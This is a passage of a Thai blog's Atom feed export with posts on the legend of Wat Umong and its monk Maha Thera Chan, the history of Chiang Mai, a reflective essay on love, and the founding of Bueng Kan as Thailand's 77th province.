href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;จึงปรากฏมาตั้งแต่ครั้งนั้น &lt;br /&gt;
&lt;br /&gt;
เหตุที่พระเจ้ากือนาธรรมิกราช ทรงสร้างอุโมงค์ใหญ่โตสวยงาม ละเอียดประณีตเป็นพิเศษ เกิดมาจากพระองค์ทรงศรัทธาเป็นพิเศษในพระมหาเถระชาวลานนา ผู้แตกฉานพระไตรปิฏก มีปฏิภาณโต้ตอบปัญหาอยู่เป็นเยี่ยมรูปหนึ่ง พระมหาเถระรูปนั้นมีชื่อว่าพระมหาเถระจันทร์ ตำนานพิสดารเกี่ยวกับพระมหาเถระรูปนี้กล่าวไว้ว่า ในรัชสมัยของพระเจ้ากือนานั้น มีพระเถระรูปหนึ่งเป็นผู้เชี่ยวชาญและมีความรู้แตกฉานในพระไตรปิฏก และมคธภาษา อย่างหาตัวจับยากในยุคนั้น พระเถระชาวล้านนารูปนี้ มีนามว่า พระมหาเถระจันทร์ ในตำนานกล่าวต่อไปว่าพระมหาเถระจันทร์นี้ แต่เดิมเป็นเด็กอยู่บ้านเมืองวัว เมื่ออายุได้ 16 ปี ก็ได้ไปขอบรรพชาเป็นสามเณรกับพระเถระวัดไผ่ 11 กอ ต่อมาได้ออกมาอยู่จำพรรษาที่ วัดโพธิ์น้อย ในเวียงเชียงใม่ 3 ปี จึงอุปสมบทเป็นพระภิกษุ และจำพรรษาอยู่ที่วัดโพธิ์น้อยอีก 3 พรรษา ในขณะนั้นครูบาเจ้าอาวาสวัดไผ่ 11 กอ ซึ่งเป็นพระอาจารย์ได้ล้มป่วย มีอาการหนัก พระภิกษุจันทร์ได้ไปเยี่ยมและเฝ้าพยาบาลอาจารย์ ท่านอาจารย์จึงได้มอบคัมภีร์ศาสตร์ประเภทชื่อ มหาโยคีมันตระประเภท ให้ และแนะนำให้เอาไปทำพิธีเล่าเรียนในที่สงัด บอกว่าเมื่อท่องบ่นมนต์นั้นจบแล้ว จะทำให้เป็นผู้มีสติปัญญา เฉลียว ฉลาด เฉียบแหลม สามารถเล่าเรียนและรอบรู้วิทยาการและพระธรรมได้โดยรวดเร็ว&lt;br /&gt;
&lt;br /&gt;
เมื่อได้มอบคัมภีร์นั้นให้แก่ภิกษุจันทร์แล้ว ครูบาผู้เป็นอาจารย์ก็ถึงมรณภาพ หลังจากที่ได้จัดการฌาปนกิจศพพระอาจารย์แล้ว พระภิกษุจันทร์ก็ได้เที่ยวแสวงหาสถานที่ที่สงัด เพื่อจะทำพิธีศึกษาเวทมนตร์จากพระคัมภีร์ที่ท่านอาจารย์มอบให้ พระภิกษุจันทร์ได้ถามชาวบ้านและวานชาวบ้านให้ส่งไปยังสถานที่อันสงัดบนดอยสุเทพ ซึ่งชาวบ้านก็ได้ไปส่ง ณ ศาลาฤาษีสุเทพ ซึ่งอยู่ห่างจากวัดไผ่ 11 กอ ประมาณ 2,000 วา (4 ก.ม.) ครั้นถึงที่นั่นแล้ว พระภิกษุจันทร์ก็บอกชาวบ้านให้กลับ ส่วนตัวท่านเองก็เริ่มทำพิธีท่องมันตระประเภทให้ได้ครบพันคาบ สมจิตตสูตร ห้าร้อยคาบ มหาสมัยสูตรห้าร้อยคาบ ธรรมจักรสูตรห้าร้อยคาบ พอถึงราตรีที่สาม ท่านก็สวดมนต์มหาสมัยสูตรอีกห้าร้อยคาบ พอสวดถึงตอนที่ว่า เขมิยาตุสิตายามา ท่านก็มองเห็นแสงสว่างตรงมาข้างหน้าแสงนั้นเคลื่อนใกล้เข้ามาๆ จนแลเห็นชัด ปรากฏเป็นรูปคล้ายมนุษย์และสวยงามอย่างยิ่งมายืนอยู่ตรงหน้าท่านแล้วถามว่า&lt;br /&gt;
&lt;br /&gt;
ท่านมาทำอะไร และปรารถนาอะไร ? พระภิกษุจันทร์ตอบว่า “เรามาทำศาสตรเภท เพื่ออยากได้สติปัญญาอันเฉียบแหลม เฉลียวฉลาด”&lt;br /&gt;
&lt;br /&gt;
ผู้ประหลาดนั้นจึงถามอีกว่า ท่านจะอยู่ในพรหมจรรย์ตลอดชีวิตหรือ ? หรือว่ายังจะลาสิกขาไปเป็นฆราวาสเมื่อเรียนศาสตรเภทจบแล้ว&lt;br /&gt;
&lt;br /&gt;
พระภิกษุจันทร์ตอบว่า “เราถวายชีวิตของเราแล้วเพื่อพระพุทธศาสนา” ผู้ประหลาดนั้นจึงพูดว่า “เราจะถวายของสิ่งหนึ่งให้แก่ท่าน ท่านจงยื่นมือมารับเอาเถอะ” แล้วก็ส่งของสิ่งหนึ่งให้ (ในตำนานกล่าวว่าสิ่งนั้นเป็นหมากเคี้ยวคือหมากที่ทำเป็นคำๆ) แก่พระภิกษุจันทร์ๆ แลเห็นแขนและมือที่ยื่นส่งของมานั้นสวยงามผุดผ่องและนิ่มนวลก็จับเอาทั้งมือทั้งหมากรูปประหลาดนั้น (เทวดาแปลง) ก็กล่าวเป็นคำคาถาว่า อสติกโรติ “ท่านจงหาสติมิได้เถิด” แล้วก็หายวับไปทันที แต่นั้นมาท่านภิกษุจันทร์ก๊กลายเป็นคนหลงๆ ลืมๆคล้ายกับคนเสียสติ เป็นไปด้วยเดชคำสาปของเทวดาแปลงนั้น เมื่อเห็นว่าถูกทำลายพิธี และตนเองก็กลายเป็นคนสติเผลอไผลไปเช่นนี้ พระภิกษุจันทร์ก็กลับลงมาจำพรรษาอยู่ ณ วัดโพธิ์น้อยตามเดิม (วัดนี้ไม่ทราบว่าอยู่แห่งใด) เวลามีสติสัมปชัญญะดี สามารถเรียนพระไตรปิฎกได้แม่นยำรวดเร็วมาก เรียนพระวินัยจบในเวลา 1 เดือน เรียนพระสูตรจบในเวลา 1 เดือน เรียนพระอภิธรรมจบภายในเวลา 1 เดือนกับ 15 วัน เมื่อเวลาสติท่านไม่สู้จะปรกติท่านจะเที่ยวจาริกไปในที่สงบสงัด เพื่อบำเพ็ญภาวนาตามลำพัง&lt;br /&gt;
&lt;br /&gt;
ในสมัยนั้น มีพระเถระผู้ทรงคุณวุฒิและรอบรู้ในพระไตรปิฎกอยู่ 6 องค์ด้วยกันคือ พระธัมมะเทโวเถระ พระติกขปัญโญเถระ สององค์นี้จำพรรษาอยู่ ณ วัดสวนดอก พระอาเมทะเถระ พระจักปัญโญคุฑะเถระ เป็นพระเถระชาวพุกาม จำพรรษาอยู่ ณ วัดเสขาน (ไม่ทราบว่าอยู่แห่งใด) พระพุทธติสโสริยะเถระ พระโสมาติสโสริยะเถระ สององค์นี้เป็นพระชาวใต้ (ไทยกลาง) จำพรรษาอยู่ ณ วัดปุยันโต (ไม่ทราบว่าอยู่แห่งใด) พระเถระทั้ง 6 รูปนี้ แม้จะรอบรู้ในพระไตรปิฎกก็จริง แต่ก็สู้ท่านมหาจันทร์ไม่ได้&lt;br /&gt;
&lt;br /&gt;
ใน ครั้งนั้นมักจะมีพระเถระจากต่างเมืองมาถามปัญหาธรรมอยู่เสมอ และทุกครั้งที่มีการถกเถียงปัญหาธรรมที่ลึกซึ้ง ก็ต้องอาศัยพระเถระจันทร์เป็นผู้เฉลยปัญหานั้นให้ด้วยความเชี่ยวชาญ และรอบรู้ของท่านมหาเถระจัทร์นี้เองทำให้พระเจ้ากือนาธรรมิกราชทรงโปรดปราน เป็นอันมาก แต่พระมหาเถระจันทร์ชอบจาริกอยู่ตามป่าดง เพื่อหาที่สงบสงัดบำเพ็ญภาวนาอยู่เป็นนิจ ไม่มีที่อยู่ที่แน่นอน เวลาต้องการตัวโต้ตอบปัญหาหรือศึกษาข้อธรรม มักจะตามไม่ค่อยพบ หรือพบได้ยากมาก พระเจ้ากือนาธรรมิกราชประสงค์จะให้พระมหาจันทร์อยู่เป็นที่ สะดวกต่อการติดต่อและพบปะง่าย จึงโปรดให้สรางอุโมงค์ใหญ่ขึ้นที่ด้านเหนือฐานพระเจดีย์ใหญ่ในวัดเวฬุกัฏฐา ราม สร้างเสร็จแล้วให้เป็นที่อยู่ของพระมหาจันทร์ มหาชนทั้งหลายจึงเรียกกันว่า “&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;เถรจันทร์” ตั้งแต่บัดนั้นมาถึงทุกวันนี้ พระมหาจันทร์อยู่จำพรรษาเจริญศรัทธาพระมหากษัตริย์ บรมวงศานุวงศ์ และประชาชน อยู่ที่&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;หลายสิบปี ในที่สุดก็มรณะภาพลงด้วยอายุได้ประมาณ 77 ปีนอกจากทรงส่งเสริมการศึกษาพุทธศาสนา</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/4308146003715922232/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_3679.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/4308146003715922232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/4308146003715922232'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_3679.html' title='วัดดอุโมงค์ และ สวนพุทธธรรม'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-1937013039889790439</id><published>2011-04-27T17:05:00.000+07:00</published><updated>2011-04-27T17:05:08.919+07:00</updated><title type='text'>ประวัติเมือง เชียงใหม่</title><content type='html'>&lt;table border=&quot;0&quot; style=&quot;height: 158px; width: 555px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td height=&quot;154&quot; width=&quot;293&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;&lt;span class=&quot;style4&quot;&gt;&quot;&lt;span class=&quot;style29&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt; นพบุรีศรีนครพิงค์เชียงใหม่ &lt;/span&gt;&lt;/span&gt;&quot; หรือจังหวัดเชียงใหม่ในปัจจุบัน เป็นเมืองที่มีเรื่องราวความเป็นมาในอดีตมากมาย ดังในหลักฐานจารึก ปรากฎหลักฐานเริ่มขึ้นในสมัย พญามังรายกษัตริย์องค์ที่ 25 แห่งราชวงศ์ลาว เชื้อสายปู่เจ้า ลาวจก ได้ทรงเสด็จขึ้นครองราชย์&lt;br /&gt;
์ที่เมืองเงินยางเชียงแสนพระองค์ทรงรวบรวมหัวเมืองต่างๆ และได้ทรง&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; width=&quot;199&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;&lt;img alt=&quot;อนุสาวรีย์ สามกษัตริย์&quot; height=&quot;151&quot; src=&quot;http://www.chiangmai-guideline.com/thai_v/image/history/3king.gif&quot; width=&quot;150&quot; /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span class=&quot;style4&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;ขยายอำนาจลงไปทางใต้ โดยได้สร้างเมืองเชียงรายขึ้นเป็นศูนย์กลางของการ&lt;br /&gt;
รวบรวมเมืองเล็กๆในแถบลุ่มน้ำกก และตั้งแคว้นขึ้น ชื่อว่า แคว้นโยน หรือโยนก จากนั้น &lt;br /&gt;
พระองค์ทรงขยายอำนาจเข้าสู่ลุ่มน้ำปิง&lt;br /&gt;
เพื่อยึดครองแคว้น หริภูญไชย พระองค์ทรงใช้เวลานานถึง 8 ปี&lt;br /&gt;
จึงสามารถตี แคว้นหริภุญไชยได้ต่อมาพระองค์ทรงผนวก&lt;br /&gt;
หริภูญไชยเข้าเป็นส่วนหนึ่งของแคว้นโยนก กลายมาเป็น อาณาจักรล้านนา ที่เรารู้จักกันในปัจจุบัน &lt;/span&gt;&lt;/span&gt;&lt;table border=&quot;0&quot; style=&quot;height: 177px; width: 555px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td height=&quot;173&quot; width=&quot;166&quot;&gt;&lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;&lt;img alt=&quot;ผังเมืองเชียงใหม่ ใน อดีต&quot; height=&quot;138&quot; src=&quot;http://www.chiangmai-guideline.com/thai_v/image/history/oldmap.gif&quot; width=&quot;200&quot; /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; width=&quot;326&quot;&gt;&lt;div align=&quot;left&quot; class=&quot;style4&quot;&gt;ต่อมาในปีพุทธศักราช 1837 พญามังรายได้สร้างเมืองใหม่ขึ้นทางเหนือ ของแคว้นหริภุญไชย แต่บริเวณดังกล่าวเกิด น้ำท่วมบ่อยครั้ง (เวียงกุมกามในปัจจุบัน)&lt;br /&gt;
พระองค์จึงตั้งเมืองแห่งใหม่ และที่เหมาะสมบริเวณที่ราบลุ่มแม่น้ำปิงเชิงดอยสุเทพ ซึ่งเป็นบริเวณที่สะดวกในการทำการค้าขาย&lt;br /&gt;
ทั้งทางบกและทางน้ำ และยังง่ายต่อการควบคุมหัวเมืองต่างๆ &amp;nbsp;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span class=&quot;style4&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;ในปี พ.ศ. 1839 พญามังรายได้เชิญพระสหาย คือ พญางำเมือง และ พญาร่วง &lt;br /&gt;
( พ่อขุนรามคำแหง)มาหารือเรื่องการวางผังสร้างเมืองและทั้งสามพระองค์&lt;br /&gt;
ก็ได้ร่วมสถาปนาเมืองแห่งนี้ว่า&lt;br /&gt;
&lt;span class=&quot;style2&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&quot;นพบุรีศรีนครพิงค์เชียงใหม่&quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;style4&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;พญามังรายได้พัฒนาทั้งการก่อสร้างวัดวาอาราม มีการตรากฎหมายที่เรียกว่า &quot;มังรายศาสตร์&quot;&lt;br /&gt;
รวมถึงรับเอาพุทธศาสนานิกายลังกาวงศ์เข้ามาเผยแพร่ในอาณาจักร&lt;br /&gt;
ซึ่งทำให้พระภิกษุในล้านนาสนใจศึกษาพระพุทธศาสนาเป็นอย่างมาก สมัยพระเจ้าติโลกราช&lt;br /&gt;
กษัตริย์องค์ที่9อาณาจักรของล้านนาได้ขยายออกไปอีกอย่างกว้างขวาง&lt;br /&gt;
พร้อมกับได้ผูกสัมพันธไมตรีกับสมเด็จพระบรมไตรโลกนาถแห่งกรุงศรีอยุธยา &lt;br /&gt;
ซึ่งในสมัยพระเจ้าติโลกราชนี้เอง&lt;br /&gt;
ที่ได้มีการสังคายนาพระไตรปิฏกขึ้นเป็นครั้งแรกในประเทศไทย&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;style3&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;table border=&quot;0&quot; style=&quot;height: 177px; width: 555px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;style4&quot; height=&quot;173&quot; width=&quot;365&quot;&gt;อาณาจักรลานนาเริ่มเสื่อมลงในปลายสมัยพญาเมืองแก้ว&lt;br /&gt;
เนื่องจากทำสงครามกับเชียงตุงพ่ายแพ้และเสียชีวิตไพร่พล&lt;br /&gt;
เป็นอันมาก ประกอบกับอุทกภัย กระทบถึงความมั่นคงของ&lt;br /&gt;
อาณาจักรเมืองในการปกครองเริ่มตีตัวออกห่าง ในปี พ.ศ.2101 ในสมัยพระมหาเทวีจิรประภา กษัตริย์องค์ที่ 15&lt;br /&gt;
พม่าได้ยกกองทัพมาตีเชียงใหม่ เพียงสามวันก็เสียเมือง&lt;br /&gt;
และกลายเป็นเมืองขึ้นของพม่ายาวนานถึง 216 ปี &lt;/td&gt;&lt;td align=&quot;center&quot; class=&quot;style3&quot; width=&quot;180&quot;&gt;&lt;div align=&quot;center&quot;&gt;&lt;img alt=&quot;ชาว ลานนา&quot; height=&quot;155&quot; src=&quot;http://www.chiangmai-guideline.com/thai_v/image/history/Old_pic.jpg&quot; width=&quot;180&quot; /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span class=&quot;style4&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;ต่อมาในปี พ.ศ.2317 พญาจ่าบ้านและพระเจ้ากาวิละ ได้ร่วมกันต่อต้านพม่า และอัญเชิญสมเด็จพระเจ้าตากสินมหาราช แห่งกรุงธนบุรี ยกทัพขับไล่พม่าพ่ายแพ้ไป ต่อมาสมัยสมเด็จพระพุทธยอดฟ้าจุฬาโลก ได้ทรงแต่งตั้ง&lt;br /&gt;
พระเจ้ากาวิละขึ้นครองเมืองในฐานะเมืองประเทศราช พระเจ้ากาวิละได้ทรงพื้นฟูเมืองเชียงใหม่ จนมีอาณาเขต&lt;br /&gt;
กว้างขวาง การค้าขายรุ่งเรือง ขณะเดียวกันก็จัดส่งบรรณาการ ส่วยสิ่งของและอื่นๆ ให้แก่กรุงรัตนโกสินทร์ซึ่งยังมีอำนาจในการแต่งตั้งตำแหน่งเจ้าเมืองและขุนนางระดับ &lt;/span&gt;&lt;/span&gt;&lt;table border=&quot;0&quot; style=&quot;width: 555px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;style3&quot; height=&quot;194&quot; width=&quot;150&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;&lt;img alt=&quot;เชียงใหม่ ปัจจุบัน&quot; height=&quot;192&quot; src=&quot;http://www.chiangmai-guideline.com/thai_v/image/history/City.jpg&quot; width=&quot;150&quot; /&gt;&lt;/span&gt;&lt;/td&gt;&lt;td class=&quot;style3&quot; width=&quot;335&quot;&gt;&lt;div class=&quot;style4&quot;&gt;ล่วงมาถึงสมัยราชการที่5 เมื่ออิทธิพลตะวันตกแผ่เข้ามาในเมืองไทย&lt;br /&gt;
มีการปฏิรูปการปกครอง โดยผนวกดินแดนล้านนาเข้ากับมณฑลพายัพ แต่ก็ยังเป็นเมืองประเทศราชในอาณัติราชอาณาจักรสยาม ตรงกับสมัยของ&lt;br /&gt;
เจ้าอินทวิชยานนท์ และราชการที่5ได้ทรงขอเจ้าดารารัศมี ธิดาของเจ้าอินทวิชยานนท์ไปเป็นชายา เจ้าดารารัศมีเป็น&lt;br /&gt;
ผู้ทำให้ความสัมพันธ์ระหว่างสองอาณาจักรใกล้ชิดกันยิ่งขึ้น&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span class=&quot;style4&quot;&gt;&lt;span style=&quot;font-family: MS Sans Serif;&quot;&gt;เมื่อมีการสร้างทางรถไฟขึ้นในเวลาต่อมา ส่งผลให้ตัวเมืองเชียงใหม่&lt;br /&gt;
ขยายตัวยิ่งขึ้นและใกล้ชิดกรุงเทพฯ มากขึ้น ในปี พ.ศ.2475&lt;br /&gt;
เกิดการเปลี่ยนแปลงการปกครอง มณฑลเทศภิบาลถูกยกเลิก&lt;br /&gt;
เชียงใหม่มีฐานะเป็นจังหวัดหนึ่ง ของประเทศไทย หลังจากนั้น&lt;br /&gt;
เชียงใหม่พัฒนาขึ้นเรื่อยๆจนกลายเป็นจังหวัดใหญ่ที่สำคัญ&lt;br /&gt;
รองลงมาจากกรุงเทพฯเท่านั้น&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/1937013039889790439/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_769.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/1937013039889790439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/1937013039889790439'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_769.html' title='ประวัติเมือง เชียงใหม่'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-2622263254063436947</id><published>2011-04-27T16:08:00.001+07:00</published><updated>2011-04-27T16:14:17.374+07:00</updated><title type='text'>คำว่า รัก</title><content type='html'>คำว่า “รัก” มีอะไรมากมายซุกซ่อนอยู่ในนั้น อาจจะหวานชื่น ขมขื่น หรืออะไรอื่นอีกหลากหลาย ที่จะทำให้คนรู้จัก “รัก” ได้สัมผัสและรู้สึกถึง…&lt;br /&gt;
ความรักเริ่มจากความคิด เพราะความคิดเป็นจุดเริ่มต้นของความรัก บางที.. ความรักอาจทำให้คนเราเปลี่ยนแปลงความคิดไปจากเดิม อาจทำให้คนเราต้องปรับปรุงในสิ่งที่เคยทำ เพียงเพื่อให้เข้ากับใครอีกคน&lt;br /&gt;
ความรักทำให้เกิดความเคารพ ศรัทธา คุณจะไม่สามารถรักใครได้ ถ้าไม่รู้สึกเชื่อมั่นเสียก่อน และคนแรกที่คุณต้องศรัทธาเชื่อมั่น ก็คือตัวเอง&lt;br /&gt;
ความรักคือการให้ ถ้าคุณต้องการที่จะได้ความรัก สิ่งที่คุณต้องทำก็คือการให้ ยิ่งให้.. คุณก็จะยิ่งได้รับ สูตรลับของความสุข และทำให้มิตรภาพยืนยาวที่คุณควรจะจำเอาไว้เสมอก็คือ อย่าถามว่าคนอื่นให้อะไรคุณบ้าง แต่ให้ถามว่าคุณทำอะไรให้คนอื่นบ้างจะดีกว่า&lt;br /&gt;
ในความรักมีมิตรภาพซ่อนอยู่ อยากได้รักแท้ ก็ต้องหาเพื่อนแท้ให้ได้เสียก่อน การจะรักกันได้ไม่ใช่แค่มองตา แต่อยู่ที่ว่า.. ต่างคนต่างมีอะไรที่ตรงกันหรือเปล่า หากจะรักใครอย่างจริงใจ คุณควรจะรักในสิ่งที่เขาเป็น ไม่ใช่แค่ภาพที่คุณเห็น มิตรภาพก็เหมือนกับปุ๋ยที่ช่วยทำให้ความรักเบ่งบานเติบโตทุกๆ วันนั่นเอง&lt;br /&gt;
การสัมผัส ช่วยสานต่อความรักให้ดีขึ้น เคยรู้สึกดีใช่มั้ยเวลาที่มีใครโอบไหล่หรือกอดคุณ? การสัมผัส.. จึงเป็นการแสดงออกอย่างหนึ่งที่มีพลัง และช่วยทลายกำแพงแห่งความชิงชังไม่เข้าใจได้อีกด้วย น่าแปลกที่การสัมผัสสามารถเปลี่ยนแปลงอารมณ์ และท่าทีที่แข็งกร้าวให้เบาบางลงได้&lt;br /&gt;
อยากรักต้องรู้จักปลดปล่อย ถ้าคุณรักใคร.. จงปล่อยให้เขาเป็นอิสระบ้าง เพราะคุณเองคงรู้สึกอึดอัด ถ้ามีใครมาล่ามโซ่คุณ ดังนั้น.. จงเรียนรู้ที่จะให้อภัยและลืมอดีตที่ไม่ดี เรียนรู้ที่จะปลดปล่อยความกลัวภายในใจ เรียนรู้ที่จะยุติธรรม และลดทิฐิ รวมถึงเงื่อนไขต่างๆ ลงบ้าง ลองบอกตัวเองว่า.. นับแต่นี้ คุณจะทิ้งความกลัวทั้งหมด&lt;br /&gt;
แล้วอดีตจะไม่มีผลอะไรต่อตัวคุณได้.. นับจากวันนี้ไป คุณก็จะได้เริ่มต้นชีวิตใหม่เสียที&lt;br /&gt;
ชีวิตจะเปลี่ยนไป เมื่อเราเรียนรู้ที่จะเปิดใจให้กว้างและซื่อสัตย์ต่อกัน รวมถึง.. คุยกับคนรักอย่างเปิดเผย และกล้าที่จะพูดถ้อยคำวิเศษว่า “ฉันรักเธอ” โดยไม่ปล่อยให้โอกาสดีๆ หลุดลอยไป คุณควรจะบอกรักก่อนจากกันทุกครั้งเสมอ เพราะบางที.. นั่นอาจเป็นครั้งสุดท้ายที่คุณจะพบกัน!&lt;br /&gt;
แก่นแท้ของความรัก คือการไว้ใจกัน ถ้าคุณไม่เชื่อใจกัน ใครคนหนึ่งจะรู้สึกระแวง กังวล และหวาดหวั่น ขณะที่อีกคนรู้สึกอึดอัดใจ ที่สำคัญ.. คุณไม่อาจรักใครจริงๆ ได้ ถ้าคุณไม่ไว้ใจเขาคนนั้นอย่างแท้จริง</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/2622263254063436947/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_27.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/2622263254063436947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/2622263254063436947'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_27.html' title='คำว่า รัก'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-5452883315211737015</id><published>2011-04-18T16:55:00.001+07:00</published><updated>2011-04-27T16:14:17.395+07:00</updated><title type='text'>จังหวัดที่ 77 บึงกาฬ</title><content type='html'>[img]http://mail.google.com/mail/?ui=2&amp;amp;ik=9f37565e72&amp;amp;view=att&amp;amp;th=12eff473887d7a66[/img]&lt;br /&gt;
จังหวัด บึงกาฬจังหวัดที่ 77 ของประเทศไทย &lt;br /&gt;
จังหวัดบึงกาฬ เป็นจังหวัดที่มีการร้องขอให้จัดตั้งขึ้น เมื่อปี พ.ศ. 2537 ตามข้อเสนอของนายสุเมธ พรมพันห่าว สมาชิกสภาผู้แทนราษฎร พรรคเสรีธรรม จังหวัดหนองคาย โดยแยกพื้นที่อำเภอบึงกาฬ อำเภอปากคาด อำเภอโซ่พิสัย อำเภอพรเจริญ อำเภอเซกา อำเภอบึงโขงหลง อำเภอศรีวิไล และอำเภอบุ่งคล้า ออกจากจังหวัดหนองคายจากการสำรวจความเห็นของประชาชน จำนวน 366,903 คน ปรากฏว่าประชาชนเห็นด้วยกับการจัดตั้งจังหวัดบึงกาฬ ร้อยละ 98.83 หากมีการจัดตั้งจังหวัดบึงกาฬ จะมีประชากรประมาณ 399,233 คน ประกอบด้วย 8 อำเภอ ส่วนจังหวัดหนองคาย จะประกอบด้วย 9 อำเภอ ประชากร 506,343 คนสภาพทั่วไป&lt;br /&gt;
บึงกาฬ เป็นอำเภอที่มีสถานที่ท่องเที่ยวหลายแห่ง มีน้ำตก มีภูเขา เป็นอำเภอที่มีเขตพื้นที่ติดต่อกับแม่น้ำโขง และแขวงบริคำไชย สาธารณรัฐประชาธิปไตยประชาชนลาว &lt;br /&gt;
ผลการพิจารณา&lt;br /&gt;
เมื่อปี พ.ศ. 2537 กระทรวงมหาดไทย ได้แจ้งผลการพิจารณาว่ายังไม่มีแผนที่จะยกฐานะอำเภอบึงกาฬขึ้นเป็นจังหวัด เพราะการจัดตั้งจังหวัดใหม่เป็นการเพิ่มภาระด้านงบประมาณ อีกทั้งยังเป็นการเพิ่มกำลังคนภาครัฐซึ่งขัดมติคณะรัฐมนตรี &lt;br /&gt;
ต่อมาในปี พ.ศ. 2553 กระทรวงมหาดไทย ได้นำเรื่องการจัดตั้งจังหวัดบึงกาฬ เข้าที่ประชุมคณะรัฐมนตรี เพื่อเสนอเป็นร่างพระราชบัญญัติจัดตั้งจังหวัดบึงกาฬ พ.ศ. ... &lt;br /&gt;
ต่อมาในวันที่ 3 สิงหาคม พ.ศ. 2553 คณะรัฐมนตรีก็มีมติให้ทำการจัดตั้งจังหวัดบึงกาฬขึ้นซึ่งมีผลนับตั้งแต่นี้เป็นต้นไป จึงนับได้ว่าขณะนี้จังหวัดบึงกาฬได้แยกตัวออกจากจังหวัดหนองคายเป็นจังหวัดที่ 77 ในราชอาณาจักรไทย &lt;br /&gt;
อำเภอเมืองบึงกาฬ &lt;br /&gt;
อำเภอเมืองบึงกาฬ เป็นอำเภอหนึ่งของจังหวัดบึงกาฬ มีสถานที่ท่องเที่ยวหลายแห่ง มีน้ำตก มีภูเขา เป็นอำเภอที่มีเขตพื้นที่ติดกับแม่น้ำโขง และอีกฝั่งตรงข้ามแม่น้ำโขงจะเป็นประเทศเพื่อนบ้าน (ลาว) มีการคมนาคมสะดวก &lt;br /&gt;
ประวัติ&lt;br /&gt;
